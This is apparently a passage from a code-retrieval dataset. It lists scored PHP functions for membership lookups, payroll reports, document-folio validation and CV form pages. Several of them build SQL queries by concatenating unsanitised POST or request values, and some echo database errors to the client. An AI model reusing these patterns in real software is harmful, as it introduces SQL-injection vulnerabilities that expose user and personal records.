Cancellato=False\";\r\n $parola_chiave=$_POST[\"hdnID\"];\r\n }\r\n } elseif ($_POST[\"txtCognome\"]!=\"\"){\r\n $query.=\"WHERE cognome LIKE'\".$_POST[\"txtCognome\"].\"%' AND nome LIKE'\".$_POST[\"txtNome\"].\"%' AND Cancellato=False\";\r\n $parola_chiave=$_POST[\"txtNome\"].\" \".$_POST[\"txtCognome\"];\r\n } else {\r\n PulisciCampi();\r\n return;\r\n }\r\n \r\n // invia la query a MySql\r\n $rstRicerca=mysqli_query($GLOBALS[\"___mysqli_ston\"], $query);\r\n \r\n // verifica quante corrispondenze ha trovato\r\n if (mysqli_num_rows($rstRicerca)<1) { // nessuna corrispondenza trovata\r\n $errore=1;\r\n $icona=2;\r\n $messaggio=\"Nessuna corrispondenza &egrave; stata trovata con la parola chiave '\".$parola_chiave.\"'\";\r\n unset ($_POST[\"hdnID\"]);\r\n } elseif (mysqli_num_rows($rstRicerca)>1) { // più di una corrispondenza trovata\r\n $errore=1;\r\n $icona=2;\r\n $messaggio=\"Sono state trovate \".mysqli_num_rows($rstRicerca).\" corrispondenze con la parola chiave '\".$parola_chiave.\"'\";\r\n unset ($_POST[\"hdnID\"]);\r\n } else {\r\n $record=mysqli_fetch_object($rstRicerca);\r\n \r\n $_POST[\"hdnID\"]=($record->ID);\r\n $_POST[\"cognome\"]=htmlentities($record->cognome);\r\n $_POST[\"nome\"]=htmlentities($record->nome);\r\n $_POST[\"sesso\"]=($record->sesso);\r\n $_POST[\"data_nascita\"]=($record->Data_di_nascita);\r\n $_POST[\"natoa\"]=htmlentities($record->luogo_di_nascita);\r\n $_POST[\"stradario\"]=htmlentities($record->tipo_via);\r\n $_POST[\"indirizzo\"]=htmlentities($record->via);\r\n $_POST[\"numero\"]=($record->numero_civico);\r\n $_POST[\"comune\"]=htmlentities($record->citta);\r\n $_POST[\"cap\"]=($record->cap);\r\n $_POST[\"prov\"]=($record->provincia);\r\n $_POST[\"myemail\"]=htmlentities($record->email);\r\n $_POST[\"myquota\"]=($record->TipoQuota);\r\n $_POST[\"myaltraquota\"]=($record->quotaoratorio); \r\n $_POST[\"mydataT\"]=($record->datatesseramento);\r\n $_POST[\"mydataST\"]=($record->DataScadenzaTessera);\r\n $_POST[\"myclassi\"]=($record->classe);\r\n $_POST[\"mysezione\"]=($record->sezione);\r\n $_POST[\"optPartecipa\"]=($record->presenza);\r\n $_POST[\"chkCoro\"]=($record->coro);\r\n $_POST['hdnIdParrocchia']=($record->parrocchia_provenienza);\r\n }\r\n \r\n return;\r\n}", "title": "" }, { "docid": "a08dcb1a2223e67b0075ad50b20d325a", "score": "0.5129341", "text": "function reporteOtrosIngresosRCIVA(){\n\t\t//Definicion de variables para ejecucion del procedimientp\n\t\t$this->procedimiento='plani.ft_reporte_sel';\n\t\t$this->transaccion='PLA_R_OTING_FORM_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\n\t\t$this->setCount(false);\n\t\t$this->setParametro('id_gestion','id_gestion','integer');\n\t\t$this->setParametro('id_periodo','id_periodo','integer');\n\t\t$this->setParametro('modalidad','modalidad','varchar');\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('nombre_empleado','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('gerencia','varchar');\n\t\t$this->captura('categoria_prog','varchar');\n\t\t$this->captura('otros_ingresos','varchar');\n\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t//echo($this->consulta);exit;\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "6636f8263aac1c761a02589fcfb25757", "score": "0.5128125", "text": "function buscacalificacion()\n {\n $num=0;\n $foliocal=$this->argumentos[\"wl_foliocal\"];\n $anocal=$this->argumentos[\"wl_anocal\"];\n $sql=\" select * from contra.v_gestioncontermino where folio like '%VUCAL-\".str_pad($foliocal,6,\"0\",STR_PAD_LEFT).\"%'\".\n \" and fecharecibo between '\".$anocal.\"-01-01' and '\".$anocal.\"-12-31'\";\n $sql_result = @pg_exec($this->connection,$sql);\n if (strlen(pg_last_error($this->connection))>0)\n {\n echo \"<error>Error buscacalificacion\".pg_last_error($this->connection).\"</error>\";\n return false;\n }\n $num = pg_numrows($sql_result);\n if ($num==0) \n { echo \"<error>No encontro la calificacion</error>\"; return; }\n $Row = pg_fetch_array($sql_result, 0);\n if ($Row[\"estatus\"]!=5 && $Row[\"estatus\"]!=3)\n { echo \"<error>La calificacion esta en proceso</error>\"; return; }\n echo \"<_nada_>Encontro la calificacion</_nada_>\";\n echo \"<nombre>\".$Row[\"nombre\"].\"</nombre>\";\n echo \"<apepat>\".$Row[\"apepat\"].\"</apepat>\";\n echo \"<apemat>\".$Row[\"apemat\"].\"</apemat>\";\n echo \"<escr>\".$Row[\"escr\"].\"</escr>\";\n echo \"<vol>\".$Row[\"vol\"].\"</vol>\";\n echo \"<nota_libro>\".$Row[\"nota_libro\"].\"</nota_libro>\";\n echo \"<edad>\".$Row[\"edad\"].\"</edad>\";\n echo \"<idsexo>\".$Row[\"idsexo\"].\"</idsexo>\";\n echo \"<condicionv>\".$Row[\"condicionv\"].\"</condicionv>\";\n }", "title": "" }, { "docid": "51e49a60f3a6ff43b453b59174a0b41d", "score": "0.51239264", "text": "function validaAltaReferenciaCerradoInterno() \n\t{\n\t\t//echo \"<error>entro server</error>\t\"; \t\n \t$wlvalor=$this->argumentos[\"wl_valor\"];\n \t$wlanio=$this->argumentos[\"wl_anio\"];\n\t\t$sql = \t\"\tselect count (*) from contra.gestion_interno where folio::numeric='\".$wlvalor.\"'::numeric and anio=\".$wlanio.\" and estatus=3;\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$reg=$row['count'];\n\t\techo \"<enviavalor>$reg</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "68efe0fd34491096aa8e3c86e009f82e", "score": "0.51231056", "text": "function consultarEstadosCiviles() {\r\n \r\n $cadena_sql = $this->sql->cadena_sql(\"consultarEstadosCiviles\", '');\r\n $resultado = $this->ejecutarSQL($this->configuracion, $this->accesoOracle, $cadena_sql, \"busqueda\");\r\n return $resultado;\r\n \r\n }", "title": "" }, { "docid": "df622e94e0d4abb45ec920b5fe46b3aa", "score": "0.5119931", "text": "function Historico() {\r\n extract($GLOBALS);\r\n global $w_Disabled;\r\n $w_chave = $w_usuario;\r\n $w_readonly = '';\r\n $w_erro = '';\r\n $sql = new db_getCV; $RS = $sql->getInstanceOf($dbms,$w_cliente,nvl($w_chave,0),$SG,'DADOS');\r\n foreach ($RS as $row) {$RS=$row; break;}\r\n if (Nvl(f($RS,'inclusao'),'')=='') {\r\n ScriptOpen('JavaScript');\r\n ShowHTML(' alert(\\'Efetue o cadastro da identificação primeiro!\\');');\r\n ShowHTML(' location.href=\\''.montaURL_JS($w_dir,'cv.php?par=Identificacao &w_usuario='.$w_chave.'&P1='.$P1.'&P2='.$P2.'&P3='.$P3.'&P4='.$P4.'&TP='.$TP.'&SG='.$SG.MontaFiltro('GET')).'\\';');\r\n ScriptClose();\r\n } \r\n // Verifica se há necessidade de recarregar os dados da tela a partir\r\n // da própria tela (se for recarga da tela) ou do banco de dados (se não for inclusão)\r\n if ($w_troca >'') {\r\n // Se for recarga da página\r\n $w_residencia_outro_pais = $_REQUEST['w_residencia_outro_pais'];\r\n $w_mudanca_nacionalidade = $_REQUEST['w_mudanca_nacionalidade'];\r\n $w_mudanca_nacionalidade_medida = $_REQUEST['w_mudanca_nacionalidade_medida'];\r\n $w_emprego_seis_meses = $_REQUEST['w_emprego_seis_meses'];\r\n $w_impedimento_viagem_aerea = $_REQUEST['w_impedimento_viagem_aerea'];\r\n $w_objecao_informacoes = $_REQUEST['w_objecao_informacoes'];\r\n $w_prisao_envolv_justica = $_REQUEST['w_prisao_envolv_justica'];\r\n $w_motivo_prisao = $_REQUEST['w_motivo_prisao'];\r\n $w_fato_relevante_vida = $_REQUEST['w_fato_relevante_vida'];\r\n $w_servidor_publico = $_REQUEST['w_servidor_publico'];\r\n $w_servico_publico_inicio = $_REQUEST['w_servico_publico_inicio'];\r\n $w_servico_publico_fim = $_REQUEST['w_servico_publico_fim'];\r\n $w_atividades_civicas = $_REQUEST['w_atividades_civicas'];\r\n $w_familiar = $_REQUEST['w_familiar'];\r\n } else {\r\n // Recupera os dados do currículo a partir da chave\r\n $sql = new db_getCV; $RS = $sql->getInstanceOf($dbms,$w_cliente,$w_chave,$SG,'DADOS');\r\n foreach($RS as $row){$RS=$row; break;}\r\n if (count($RS)>0) {\r\n $w_residencia_outro_pais = f($RS,'residencia_outro_pais');\r\n $w_mudanca_nacionalidade = f($RS,'mudanca_nacionalidade');\r\n $w_mudanca_nacionalidade_medida = f($RS,'mudanca_nacionalidade_medida');\r\n $w_emprego_seis_meses = f($RS,'emprego_seis_meses');\r\n $w_impedimento_viagem_aerea = f($RS,'impedimento_viagem_aerea');\r\n $w_objecao_informacoes = f($RS,'objecao_informacoes');\r\n $w_prisao_envolv_justica = f($RS,'prisao_envolv_justica');\r\n $w_motivo_prisao = f($RS,'motivo_prisao');\r\n $w_fato_relevante_vida = f($RS,'fato_relevante_vida');\r\n $w_servidor_publico = f($RS,'servidor_publico');\r\n $w_servico_publico_inicio = FormataDataEdicao(f($RS,'servico_publico_inicio'));\r\n $w_servico_publico_fim = FormataDataEdicao(f($RS,'servico_publico_fim'));\r\n $w_atividades_civicas = f($RS,'atividades_civicas');\r\n $w_familiar = f($RS,'familiar');\r\n $O='A';\r\n } else {\r\n $w_nome=null;\r\n $O='I';\r\n } \r\n } \r\n Cabecalho();\r\n head();\r\n // Monta o código JavaScript necessário para validação de campos e preenchimento automático de máscara.\r\n ScriptOpen('JavaScript');\r\n CheckBranco();\r\n Modulo();\r\n FormataData();\r\n SaltaCampo();\r\n FormataCPF();\r\n ValidateOpen('Validacao');\r\n if ($O=='I' || $O=='A') {\r\n ShowHTML(' if (theForm.Botao.value == \"Troca\") { return true; }');\r\n ShowHTML(' if (theForm.w_mudanca_nacionalidade[0].checked) {');\r\n Validate('w_mudanca_nacionalidade_medida','Medida','1','1','4','255','1','1');\r\n ShowHTML(' }');\r\n ShowHTML(' else theForm.w_mudanca_nacionalidade.value = \\'\\';');\r\n ShowHTML(' if (theForm.w_prisao_envolv_justica[0].checked) {');\r\n Validate('w_motivo_prisao','Motivo','1','1','5','255','1','1');\r\n ShowHTML(' }');\r\n ShowHTML(' else theForm.w_motivo_prisao.value = \\'\\';');\r\n Validate('w_fato_relevante_vida','Fatos relevantes','1','',5,255,'1','1');\r\n ShowHTML(' if (theForm.w_servidor_publico[0].checked) {');\r\n Validate('w_servico_publico_inicio','Entrada','DATA','1','10','10','','0123456789/');\r\n Validate('w_servico_publico_fim','Saída','DATA','','10','10','','0123456789/');\r\n ShowHTML(' }');\r\n ShowHTML(' else {');\r\n ShowHTML(' theForm.w_servico_publico_inicio.value = \\'\\';');\r\n ShowHTML(' theForm.w_servico_publico_fim.value = \\'\\';');\r\n ShowHTML(' }');\r\n Validate('w_atividades_civicas','Atividades cívicas','1','',5,255,'1','1');\r\n if ($_SESSION['PORTAL']=='') {\r\n Validate('w_assinatura',$_SESSION['LABEL_ALERTA'],'1','1','3','30','1','1');\r\n } \r\n } \r\n ValidateClose();\r\n ScriptClose();\r\n ShowHTML('</HEAD>');\r\n ShowHTML('<BASE HREF=\"'.$conRootSIW.'\">');\r\n if ($w_troca>'') {\r\n BodyOpen('onLoad=\\'document.Form.'.$w_troca.'.focus()\\';');\r\n } else {\r\n BodyOpen('onLoad=\\'this.focus()\\';');\r\n } \r\n ShowHTML('<B><FONT COLOR=\"#000000\">'.$w_TP.'</FONT></B>');\r\n ShowHTML('<HR>');\r\n ShowHTML('<table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">');\r\n if (strpos('IAEV',$O)!==false) {\r\n AbreForm('Form',$w_dir.$w_pagina.'Grava','POST','return(Validacao(this));',null,$P1,$P2,$P3,$P4,$TP,$SG,$w_pagina.$par,$O);\r\n ShowHTML(MontaFiltro('POST'));\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_troca\" value=\"\">');\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_chave\" value=\"'.$w_usuario.'\">');\r\n ShowHTML('<tr bgcolor=\"'.$conTrBgColor.'\"><td align=\"center\">');\r\n ShowHTML(' <table width=\"97%\" border=\"0\">');\r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você já fixou residência permanente legal em país estrangeiro?</b>',$w_residencia_outro_pais,'w_residencia_outro_pais');\r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você já tomou alguma medida para mudar de nacionalidade?</b>',$w_mudanca_nacionalidade,'w_mudanca_nacionalidade');\r\n ShowHTML(' <tr><td><textarea '.$w_Disabled.' name=\"w_mudanca_nacionalidade_medida\" class=\"sti\" rows=3 cols=90>'.$w_mudanca_nacionalidade_medida.'</textarea>');\r\n ShowHTML(' <tr>');\r\n MontaRadioSN('<b>Você aceitaria um emprego por menos de 6 meses?</b>',$w_emprego_seis_meses,'w_emprego_seis_meses');\r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você possui algum impedimento para efetuar viagens aéreas?</b>',$w_impedimento_viagem_aerea,'w_impedimento_viagem_aerea');\r\n ShowHTML(' <tr>');\r\n MontaRadioSN('<b>Você tem algum parente trabalhando nesta organização?</b>',$w_familiar,'w_familiar');\r\n ShowHTML(' <tr>');\r\n MontaRadioNS('<b>Você tem alguma objeção a fazer com relação à solicitação de informações a seu respeito para seu último empregador?</b>',$w_objecao_informacoes,'w_objecao_informacoes');\r\n ShowHTML(' <tr>');\r\n MontaRadioSN('<b>Você alguma vez já foi preso, acusado ou convocado pela Corte como réu em algum processo criminal ou sentenciado, penalizado ou aprisionado por violação de alguma lei? (excluem-se violações menores de trânsito)</b>',$w_prisao_envolv_justica,'w_prisao_envolv_justica');\r\n ShowHTML(' <tr><td><textarea '.$w_Disabled.' name=\"w_motivo_prisao\" class=\"sti\" rows=3 cols=90>'.$w_motivo_prisao.'</textarea>');\r\n ShowHTML(' <tr><td valign=\"top\"><b>Exponha algum outro fato relevante. Inclua informações relacionadas a qualquer residência fora do país de origem:</b><br>');\r\n ShowHTML(' <textarea '.$w_Disabled.' name=\"w_fato_relevante_vida\" class=\"sti\" rows=3 cols=90>'.$w_fato_relevante_vida.'</textarea>');\r\n ShowHTML(' <tr>');\r\n MontaRadioSN('<b>Você é ou foi Funcionário Público?</b>',$w_servidor_publico,'w_servidor_publico');\r\n ShowHTML(' <tr> <td> de <input '.$w_Disabled.' type=\"text\" name=\"w_servico_publico_inicio\" class=\"sti\" SIZE=10 MAXLENGTH=10 VALUE=\"'.$w_servico_publico_inicio.'\" onKeyDown=\"FormataData(this, event)\" onKeyUp=\"SaltaCampo(this.form.name,this,10,event);\">');\r\n ShowHTML(' a <input '.$w_Disabled.' type=\"text\" name=\"w_servico_publico_fim\" class=\"sti\" SIZE=10 MAXLENGTH=10 VALUE=\"'.$w_servico_publico_fim.'\" onKeyDown=\"FormataData(this, event)\" onKeyUp=\"SaltaCampo(this.form.name,this,10,event);\"> (dd/mm/aaaa)');\r\n ShowHTML(' <tr><td valign=\"top\"><b>Informe alguma sociedade profissional ou atividades ligadas a assuntos cívicos, públicos ou internacionais das quais você faz parte:</b><br>');\r\n ShowHTML(' <textarea '.$w_Disabled.' name=\"w_atividades_civicas\" class=\"sti\" rows=3 cols=90>'.$w_atividades_civicas.'</textarea>');\r\n if ($_SESSION['PORTAL']=='') {\r\n ShowHTML(' <tr><td align=\"LEFT\" colspan=3><b>'.$_SESSION['LABEL_CAMPO'].':<BR> <INPUT ACCESSKEY=\"A\" class=\"sti\" type=\"PASSWORD\" name=\"w_assinatura\" size=\"30\" maxlength=\"30\" value=\"\"></td></tr>'); \r\n }\r\n ShowHTML(' <tr><td align=\"center\" colspan=\"3\" height=\"1\" bgcolor=\"#000000\"></TD></TR>');\r\n // Verifica se poderá ser feito o envio da solicitação, a partir do resultado da validação\r\n ShowHTML(' <tr><td align=\"center\" colspan=\"3\">');\r\n ShowHTML(' <input class=\"STB\" type=\"submit\" name=\"Botao\" value=\"Gravar\">');\r\n ShowHTML(' </td>');\r\n ShowHTML(' </tr>');\r\n ShowHTML(' </table>');\r\n ShowHTML(' </TD>');\r\n ShowHTML('</tr>');\r\n ShowHTML('</FORM>');\r\n } else {\r\n ScriptOpen('JavaScript');\r\n ShowHTML(' alert(\"Opção não disponível\");');\r\n //ShowHTML ' history.back(1);'\r\n ScriptClose();\r\n } \r\n ShowHTML('</table>');\r\n ShowHTML('</center>');\r\n Rodape();\r\n}", "title": "" }, { "docid": "25c4b2cea0f030f8acfd77b552b86a3b", "score": "0.5113431", "text": "function validaFolio ()\n\t{\n\t\t$folio=$this->argumentos[\"wl_folio\"];\n\t\t$anio=$this->argumentos[\"wl_anio\"];\n\t\t$sql = \t\"\tselect count (*) as reg from contra.gestion where folio='\".$folio.\"' and anio=\".$anio.\";\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$reg=$row['reg'];\n\t\techo \"<enviavalor>$reg</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "b759cf7d38611215743d957aa6cf9eb2", "score": "0.51126", "text": "function validaTurnoSeguimientoInterno() \n\t{\n \t$wlfolioconsecutivo=$this->argumentos[\"wl_folioconsecutivo\"];\n\t\t$sql = \t\"\tselect count (*) as reg from contra.ope_turnados_interno as t\t\".\n\t\t\t\t\"\twhere folioconsecutivo=\".$wlfolioconsecutivo.\"\t\".\n\t\t\t\t\"\tand id_persona =(select id_persona from contra.cat_personas where usename=current_user)\t\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$reg=$row['reg'];\n\t\techo \"<enviavalor>$reg</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "2b133871c860246e83a76e1b2db5e607", "score": "0.51112705", "text": "public function reporteDetalleValidacionInmuebleobservaciones($idEntidad){\n $query = $this->db->query(\"select b.id,b.idbien,td.descripcion,d.idtipodocumento,\n case when gi.adjunta = 't' then 'SI' else 'NO' end as adjunta,\n case when gi.idcorrespondencia = 1 then 'NO' else 'SI' end as idcorrespondencia,\n case when gi.legible = 't' then 'SI' else 'NO' end as legible,\n case when d.adicionado = 't' then 'SI' else 'NO' end as adicionado,\n cd.descripcion as cdocumento,\n cs.descripcion as csuperficie, \n cc.descripcion as ccatastro,\n cde.descripcion as cdenominacion,\n cdi.descripcion as cdireccion,\n case \n WHEN length (gi.observacionesgeneral) >0 and length (t1.observaciones) >0 then \n concat(t1.observaciones,E'\\n -',gi.observacionesgeneral)\n WHEN length (gi.observacionesgeneral) > 0 then \n concat(' - ',gi.observacionesgeneral) \n else \n t1.observaciones\n end as observaciones\n --coalesce (t1.observaciones,'A') as observaciones \n from nueva_validacion.bien b\n join nueva_validacion.documentobien d on d.idb = b.id\n left join dj_documento.documento td on td.id = d.idtipodocumento\n join nueva_validacion.v_validxgestinmueble gi on d.id = gi.iddocumentobien\n left join nueva_validacion.detallevalidacioninmueble dv on gi.id = dv.idvalidacion\n left join nueva_validacion.correspondencia cd on cd.id = dv.correctodocumento\n left join nueva_validacion.correspondencia cs on cs.id = dv.correctosupterreno\n left join nueva_validacion.correspondencia cc on cc.id = dv.correctocatastro\n left join nueva_validacion.correspondencia cde on cde.id = dv.correctodenominacion\n left join nueva_validacion.correspondencia cdi on cdi.id = dv.correctodireccion\n left join (select o.idvalidacion,concat(' - ',(array_to_string(array_agg(p.descripcion),E'\\n -'))) as observaciones from nueva_validacion.v_validxgestinmueble v\n join nueva_validacion.observacioninmueble o on v.id = o.idvalidacion \n left join nueva_validacion.tipoobservacion p on p.id= o.idtipoobservacion\n\n where 1=1 and o.idtipoobservacion !=74 group by o.idvalidacion) as t1 on t1.idvalidacion=gi.id\n where b.idclase in (1,2) and ( length (observaciones) > 0 or length (observacionesgeneral) > 0)\n and d.validado = 't'\n and d.eliminado = 'f' and b.idestadovalidacion = 3 and gi.idtipovalidacion !=3 \n and b.identidad = \".$idEntidad.\" order by b.idbien asc \"); //d.fecvalidado\n //and d.fecvalidado::date between '\".$fechaI.\"' and '\".$fechaF.\"'\n return $query->result();\n }", "title": "" }, { "docid": "47d288c425b4c4bbfa2a70832c80a7bb", "score": "0.5108889", "text": "function validaReferenciaInterno ()\n\t{\n\t\t$referecnia=$this->argumentos[\"wl_referencia\"];\n\t\t$docto=$this->argumentos[\"wl_id_tipodocto\"];\n\t\t$sql = \t\"\tselect count (*) as reg from contra.gestion_interno where referencia='\".$referecnia.\"' and referencia<>'S/N' and id_tipodocto=\".$docto.\";\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$reg=$row['reg'];\n\t\techo \"<enviavalor>$reg</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "c115c7d1a87ab3e7522218492a4af6bd", "score": "0.5108047", "text": "function Idiomas() {\r\n extract($GLOBALS);\r\n global $w_Disabled;\r\n $w_chave = $_REQUEST['w_chave'];\r\n if (Nvl($P1,0)!=1) {\r\n $sql = new db_getCV; $RS = $sql->getInstanceOf($dbms,$w_cliente,nvl($w_usuario,0),$SG,'DADOS');\r\n foreach ($RS as $row) {$RS=$row; break;}\r\n if (Nvl(f($RS,'inclusao'),'')=='') {\r\n ScriptOpen('JavaScript');\r\n ShowHTML('alert(\\'Efetue o cadastro da identificação primeiro!\\');');\r\n ShowHTML('location.href=\\''.montaURL_JS($w_dir,'cv.php?par=Identificacao &w_usuario='.$w_chave.'&P1='.$P1.'&P2='.$P2.'&P3='.$P3.'&P4='.$P4.'&TP='.$TP.'&SG='.$SG.MontaFiltro('GET')).'\\';');\r\n ScriptClose();\r\n } \r\n } \r\n if ($w_troca >'') {\r\n // Se for recarga da página\r\n $w_leitura = $_REQUEST['w_leitura'];\r\n $w_escrita = $_REQUEST['w_escrita'];\r\n $w_compreensao = $_REQUEST['w_compreensao'];\r\n $w_conversacao = $_REQUEST['w_conversacao'];\r\n } elseif ($O=='L') {\r\n // Recupera todos os registros para a listagem\r\n $sql = new db_getCVIdioma; $RS = $sql->getInstanceOf($dbms,$w_usuario,null);\r\n $RS = SortArray($RS,'nome','asc');\r\n } elseif (strpos('AEV',$O)!==false && $w_troca=='') {\r\n // Recupera os dados do registro informado\r\n $sql = new db_getCVIdioma; $RS = $sql->getInstanceOf($dbms,$w_usuario,$w_chave);\r\n foreach ($RS as $row) {$RS=$row; break;}\r\n $w_nm_idioma = f($RS,'nome');\r\n $w_chave = f($RS,'sq_idioma');\r\n $w_leitura = f($RS,'leitura');\r\n $w_escrita = f($RS,'escrita');\r\n $w_compreensao = f($RS,'compreensao');\r\n $w_conversacao = f($RS,'conversacao');\r\n } \r\n Cabecalho();\r\n head();\r\n if (strpos('IAEP',$O)!==false) {\r\n ScriptOpen('JavaScript');\r\n ValidateOpen('Validacao');\r\n if (strpos('IA',$O)!==false) {\r\n Validate('w_chave','Idioma','SELECT','1','1','10','','1');\r\n Validate('w_assinatura',$_SESSION['LABEL_ALERTA'],'1','1','3','30','1','1');\r\n } elseif ($O=='E' && $_SESSION['PORTAL']=='') {\r\n Validate('w_assinatura',$_SESSION['LABEL_ALERTA'],'1','1','3','30','1','1');\r\n ShowHTML(' if (confirm(\\'Confirma a exclusão deste registro?\\')) ');\r\n ShowHTML(' { return (true); }; ');\r\n ShowHTML(' { return (false); }; ');\r\n } \r\n ShowHTML(' theForm.Botao[0].disabled=true;');\r\n ShowHTML(' theForm.Botao[1].disabled=true;');\r\n ValidateClose();\r\n ScriptClose();\r\n } \r\n ShowHTML('</HEAD>'); \r\n ShowHTML('<BASE HREF=\"'.$conRootSIW.'\">');\r\n if ($w_troca>'') {\r\n BodyOpen('onLoad=\\'document.Form.'.$w_troca.'.focus()\\';');\r\n } elseif ($O=='I') {\r\n BodyOpen('onLoad=\\'document.Form.w_chave.focus()\\';');\r\n } elseif ($O=='E' && $_SESSION['PORTAL']==''){\r\n BodyOpen('onLoad=\\'document.Form.w_assinatura.focus()\\';');\r\n } else {\r\n BodyOpen('onLoad=\\'this.focus()\\';');\r\n } \r\n ShowHTML('<B><FONT COLOR=\"#000000\">'.$w_TP.'</FONT></B>');\r\n ShowHTML('<HR>');\r\n ShowHTML('<div align=center><center>');\r\n ShowHTML('<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">');\r\n if ($O=='L') {\r\n // Exibe a quantidade de registros apresentados na listagem e o cabeçalho da tabela de listagem\r\n ShowHTML('<tr><td><a accesskey=\"I\" class=\"SS\" href=\"'.$w_dir.$w_pagina.$par.'&R='.$w_pagina.$par.'&w_usuario='.$w_usuario.'&O=I&P1='.$P1.'&P2='.$P2.'&P3='.$P3.'&P4='.$P4.'&TP='.$TP.'&SG='.$SG.MontaFiltro('GET').'\"><u>I</u>ncluir</a>&nbsp;');\r\n ShowHTML(' <td align=\"right\">'.exportaOffice().'<b>Registros: '.count($RS));\r\n ShowHTML('<tr><td align=\"center\" colspan=3>');\r\n ShowHTML(' <TABLE class=\"tudo\" WIDTH=\"100%\" bgcolor=\"'.$conTableBgColor.'\" BORDER=\"'.$conTableBorder.'\" CELLSPACING=\"'.$conTableCellSpacing.'\" CELLPADDING=\"'.$conTableCellPadding.'\" BorderColorDark=\"'.$conTableBorderColorDark.'\" BorderColorLight=\"'.$conTableBorderColorLight.'\">');\r\n ShowHTML(' <tr bgcolor=\"'.$conTrBgColor.'\" align=\"center\">');\r\n ShowHTML(' <td><b>Idioma</td>');\r\n ShowHTML(' <td><b>Leitura</td>');\r\n ShowHTML(' <td><b>Escrita</td>');\r\n ShowHTML(' <td><b>Conversação</td>');\r\n ShowHTML(' <td><b>Compreensão</td>');\r\n ShowHTML(' <td class=\"remover\"><b>Operações</td>');\r\n ShowHTML(' </tr>');\r\n if (count($RS)<=0) {\r\n // Se não foram selecionados registros, exibe mensagem\r\n ShowHTML(' <tr bgcolor=\"'.$conTrBgColor.'\"><td colspan=6 align=\"center\"><b>Não foram encontrados registros.</b></td></tr>');\r\n } else {\r\n // Lista os registros selecionados para listagem\r\n foreach($RS as $row) {\r\n $w_cor = ($w_cor==$conTrBgColor || $w_cor=='') ? $w_cor=$conTrAlternateBgColor : $w_cor=$conTrBgColor; \r\n ShowHTML(' <tr bgcolor=\"'.$w_cor.'\" valign=\"top\">');\r\n ShowHTML(' <td>'.f($row,'nome').'</td>');\r\n ShowHTML(' <td align=\"center\">'.f($row,'nm_leitura').'</td>');\r\n ShowHTML(' <td align=\"center\">'.f($row,'nm_escrita').'</td>');\r\n ShowHTML(' <td align=\"center\">'.f($row,'nm_conversacao').'</td>');\r\n ShowHTML(' <td align=\"center\">'.f($row,'nm_compreensao').'</td>');\r\n ShowHTML(' <td class=\"remover\" align=\"top\" nowrap>');\r\n ShowHTML(' <A class=\"HL\" HREF=\"'.$w_dir.$w_pagina.$par.'&R='.$w_pagina.$par.'&O=A&w_chave='.f($row,'sq_idioma').'&w_usuario='.$w_usuario.'&P1='.$P1.'&P2='.$P2.'&P3='.$P3.'&P4='.$P4.'&TP='.$TP.'&SG='.$SG.'\">AL</A>&nbsp');\r\n ShowHTML(' <A class=\"HL\" HREF=\"'.$w_dir.$w_pagina.$par.'&R='.$w_pagina.$par.'&O=E&w_chave='.f($row,'sq_idioma').'&w_usuario='.$w_usuario.'&P1='.$P1.'&P2='.$P2.'&P3='.$P3.'&P4='.$P4.'&TP='.$TP.'&SG='.$SG.'\">EX</A>&nbsp');\r\n ShowHTML(' </td>');\r\n ShowHTML(' </tr>');\r\n } \r\n } \r\n ShowHTML(' </center>');\r\n ShowHTML(' </table>');\r\n ShowHTML(' </td>');\r\n ShowHTML('</tr>');\r\n } elseif (strpos('IAEV',$O)!==false) {\r\n if (strpos('EV',$O)!==false) {\r\n $w_Disabled=' DISABLED ';\r\n } \r\n AbreForm('Form',$w_dir.$w_pagina.'Grava','POST','return(Validacao(this));',null,$P1,$P2,$P3,$P4,$TP,$SG,$R,$O);\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_troca\" value=\"\">');\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_usuario\" value=\"'.$w_usuario.'\">');\r\n ShowHTML('<tr bgcolor=\"'.$conTrBgColor.'\"><td align=\"center\">');\r\n ShowHTML(' <table width=\"97%\" border=\"0\">');\r\n if ($O=='I') {\r\n ShowHTML(' <tr>');\r\n SelecaoIdioma('I<u>d</u>ioma:','D','Selecione o idioma que você deseja informar os dados.',$w_chave,null,'w_chave',null,null);\r\n } else {\r\n ShowHTML('<INPUT type=\"hidden\" name=\"w_chave\" value=\"'.$w_chave.'\">');\r\n ShowHTML(' <tr><td 